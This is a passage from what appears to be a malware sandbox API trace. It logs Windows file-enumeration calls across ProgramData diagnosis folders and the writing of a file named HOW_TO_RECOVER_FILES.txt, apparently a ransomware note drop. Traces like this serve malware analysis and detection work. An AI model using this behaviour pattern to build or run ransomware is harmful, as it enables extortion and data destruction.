lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x355f270*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0102.873] CloseHandle (hObject=0x7c0) returned 1 [0102.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0102.873] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc", lpFilePart=0x0) returned 0x2a [0102.874] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.874] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.874] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.874] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0102.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0102.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0102.874] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc", lpFilePart=0x0) returned 0x2a [0102.874] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0102.875] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.875] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd6a0bca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0102.875] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0102.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0102.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0102.875] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0102.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0102.875] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Siufloc\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\siufloc\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c0 [0102.876] GetFileType (hFile=0x7c0) returned 0x1 [0102.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0102.876] GetFileType (hFile=0x7c0) returned 0x1 [0102.876] WriteFile (in: hFile=0x7c0, lpBuffer=0x3573558*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x3573558*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0102.877] CloseHandle (hObject=0x7c0) returned 1 [0102.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0102.877] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpFilePart=0x0) returned 0x2e [0102.877] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.349] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.350] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bfa790, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4de62c84, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", cAlternateFileName="03D1E1~1.XML")) returned 1 [0103.350] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c20a14, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4defb5dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x441b, dwReserved0=0x0, dwReserved1=0x0, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", cAlternateFileName="03D1E1~2.XML")) returned 1 [0103.350] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4df6de00, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8128f6c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x0, dwReserved1=0x0, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", cAlternateFileName="394B7B~1.XML")) returned 1 [0103.350] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e006640, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb5c02e23, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x0, dwReserved1=0x0, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", cAlternateFileName="394B7B~2.XML")) returned 1 [0103.350] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e09efaa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8625bd94, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", cAlternateFileName="75EF5B~1.XML")) returned 1 [0103.350] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e0c51fa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x86556ca1, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4473, dwReserved0=0x0, dwReserved1=0x0, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", cAlternateFileName="75EF5B~2.XML")) returned 1 [0103.351] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e15dbbf, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbc2bb3b, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418e, dwReserved0=0x0, dwReserved1=0x0, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", cAlternateFileName="9984EC~1.XML")) returned 1 [0103.351] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e1f64ee, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbb6d045, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418c, dwReserved0=0x0, dwReserved1=0x0, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", cAlternateFileName="9984EC~2.XML")) returned 1 [0103.351] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e24298b, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb9eacc8c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x433c, dwReserved0=0x0, dwReserved1=0x0, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml", cAlternateFileName="ACAE42~1.XML")) returned 1 [0103.351] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e28ee3c, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xba09c6cc, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="acae4208-0ac4-4ef7-ac45-bb688b09e559_withdraw.xml", cAlternateFileName="ACAE42~2.XML")) returned 1 [0103.351] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2b5071, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8d3a091, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x442d, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", cAlternateFileName="C08025~1.XML")) returned 1 [0103.351] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e2db2dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8c553ea, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x0, dwReserved1=0x0, cFileName="c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", cAlternateFileName="C08025~2.XML")) returned 1 [0103.351] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77c27a6, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e301522, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbb0b32d3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418b, dwReserved0=0x0, dwReserved1=0x0, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", cAlternateFileName="E80C85~1.XML")) returned 1 [0103.352] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e89d5, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e34d9d0, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbaf35d10, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4172, dwReserved0=0x0, dwReserved1=0x0, cFileName="e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", cAlternateFileName="E80C85~2.XML")) returned 1 [0103.352] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e399e7e, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8507a310, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", cAlternateFileName="E9D217~1.XML")) returned 1 [0103.352] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c930e8, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e458a8d, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x85007c03, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x424c, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml", cAlternateFileName="E9D217~2.XML")) returned 1 [0103.352] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4a4f18, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb806a476, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x43ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_show.xml", cAlternateFileName="FFFD8B~1.XML")) returned 1 [0103.352] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc780ec0e, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e4cb173, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb819b5fa, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4443, dwReserved0=0x0, dwReserved1=0x0, cFileName="fffd8b5d-0172-4719-a792-b7c76986459d_withdraw.xml", cAlternateFileName="FFFD8B~2.XML")) returned 1 [0103.352] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.352] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0103.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0103.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0103.353] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding", lpFilePart=0x0) returned 0x2e [0103.353] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.354] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4ddac897, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4e4cb173, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.354] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bfa790, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4de62c84, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_show.xml", cAlternateFileName="03D1E1~1.XML")) returned 1 [0103.355] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c20a14, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4defb5dd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x840fae4f, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x441b, dwReserved0=0x0, dwReserved1=0x0, cFileName="03d1e1da-f580-45d7-afdd-3598ed7cdba4_withdraw.xml", cAlternateFileName="03D1E1~2.XML")) returned 1 [0103.355] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4df6de00, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb8128f6c, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x0, dwReserved1=0x0, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_show.xml", cAlternateFileName="394B7B~1.XML")) returned 1 [0103.355] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7750111, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e006640, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb5c02e23, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x4187, dwReserved0=0x0, dwReserved1=0x0, cFileName="394b7b36-41b9-4032-9875-c0240ca5a7f5_withdraw.xml", cAlternateFileName="394B7B~2.XML")) returned 1 [0103.355] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e09efaa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x8625bd94, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_show.xml", cAlternateFileName="75EF5B~1.XML")) returned 1 [0103.355] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c46c2e, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4e0c51fa, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x86556ca1, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x4473, dwReserved0=0x0, dwReserved1=0x0, cFileName="75ef5b41-571d-4a4b-92bb-8b9f7fdc831f_withdraw.xml", cAlternateFileName="75EF5B~2.XML")) returned 1 [0103.355] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e15dbbf, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbc2bb3b, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418e, dwReserved0=0x0, dwReserved1=0x0, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_show.xml", cAlternateFileName="9984EC~1.XML")) returned 1 [0103.356] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7776347, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x4e1f64ee, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xbbb6d045, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x418c, dwReserved0=0x0, dwReserved1=0x0, cFileName="9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml", cAlternateFileName="9984EC~2.XML")) returned 1 [0103.356] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc779c570, 